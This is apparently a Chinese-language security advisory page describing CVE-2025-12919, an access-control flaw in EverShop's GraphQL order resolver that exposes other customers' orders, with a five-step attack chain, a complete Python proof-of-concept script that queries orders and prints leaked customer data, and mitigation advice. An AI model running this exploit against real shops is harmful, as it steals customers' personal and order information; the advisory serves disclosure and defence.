IPBUF安全漏洞报告
English
CVE-2025-12919 CVSS 3.7 低危

CVE-2025-12919: EverShop订单处理器IDOR漏洞导致订单信息泄露

披露日期: 2025-11-09

漏洞信息

漏洞编号
CVE-2025-12919
漏洞类型
IDOR(失效的对象级别访问控制)/ 不正确的资源标识符控制
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EverShop

相关标签

EverShopIDOR信息泄露GraphQL订单泄露电商系统CVE-2025-12919

漏洞概述

EverShop是一款开源电商系统,在2.0.1及之前版本中存在安全漏洞。该漏洞位于订单处理模块的GraphQL解析器中,具体为/src/modules/oms/graphql/types/Order/Order.resolvers.js文件。攻击者可以通过操纵uuid参数,绕过正常的访问控制检查,未经授权访问其他用户的订单信息。由于GraphQL接口缺乏有效的对象级别权限验证,攻击者只需提供有效的订单UUID即可获取该订单的敏感详细信息,包括客户信息、订单内容等。漏洞利用复杂度较高,但可远程发起利用,且无需认证和用户交互。厂商在收到漏洞报告后未做出任何回应。

技术细节

该漏洞属于IDOR(Insecure Direct Object Reference,不安全的直接对象引用)类型,漏洞点位于Order Handler组件的GraphQL解析器中。当处理订单查询请求时,系统直接使用用户提供的uuid参数进行数据库查询,而未充分验证当前用户是否有权访问该订单记录。攻击者可以通过猜测或枚举的方式获取有效的订单UUID,然后构造如下GraphQL查询直接获取目标订单的完整信息。漏洞利用需要满足高复杂度的攻击条件,但一旦成功,攻击者可以批量获取系统中所有订单的敏感数据,造成严重的信息泄露风险。由于该漏洞已公开,可能已被恶意利用。

攻击链分析

STEP 1
信息收集
识别目标网站使用的EverShop版本,确认版本 <= 2.0.1,定位GraphQL API端点(通常为/api/graphql)
STEP 2
UUID枚举
通过暴力猜测、自动化工具或利用系统其他功能(如订单确认邮件)获取有效的订单UUID
STEP 3
构造恶意请求
构造GraphQL查询请求,在order查询中注入目标订单的uuid参数,绕过访问控制
STEP 4
数据窃取
发送恶意请求获取目标订单的完整信息,包括客户姓名、邮箱、电话、收货地址、订单商品详情、支付信息等敏感数据
STEP 5
横向扩展
批量枚举不同的订单UUID,大规模窃取系统中的订单数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12919 EverShop Order Information Disclosure PoC # Target: EverShop <= 2.0.1 # Vulnerability: IDOR in Order Handler GraphQL resolver # Affected File: /src/modules/oms/graphql/types/Order/Order.resolvers.js import requests import sys def exploit_order_leak(target_url, order_uuid): """ Exploit the IDOR vulnerability to leak order information """ graphql_endpoint = f"{target_url}/api/graphql" query = f""" query {{ order(uuid: "{order_uuid}") {{ id orderNumber customer {{ firstName lastName email telephone }} items {{ productId productName quantity price }} shippingAddress {{ address1 address2 city country postalCode }} paymentMethod total status }} }} """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } payload = {'query': query} try: response = requests.post(graphql_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if 'data' in data and 'order' in data['data']: order = data['data']['order'] if order: print(f"[+] Successfully leaked order information:") print(f" Order UUID: {order_uuid}") print(f" Order Number: {order.get('orderNumber')}") print(f" Customer: {order.get('customer', {}).get('firstName')} {order.get('customer', {}).get('lastName')}") print(f" Email: {order.get('customer', {}).get('email')}") return True print("[-] Failed to retrieve order information") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <order_uuid>") print(f"Example: python {sys.argv[0]} http://vulnerable-shop.com 550e8400-e29b-41d4-a716-446655440000") sys.exit(1) target = sys.argv[1] uuid = sys.argv[2] exploit_order_leak(target, uuid)

影响范围

EverShop <= 2.0.1

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1)限制GraphQL端点的访问权限,仅允许已认证用户访问;2)使用Web应用防火墙(WAF)规则过滤异常的GraphQL查询;3)实施IP白名单或地理限制;4)增加订单UUID的复杂度使其难以猜测;5)监控异常的订单查询行为并设置告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表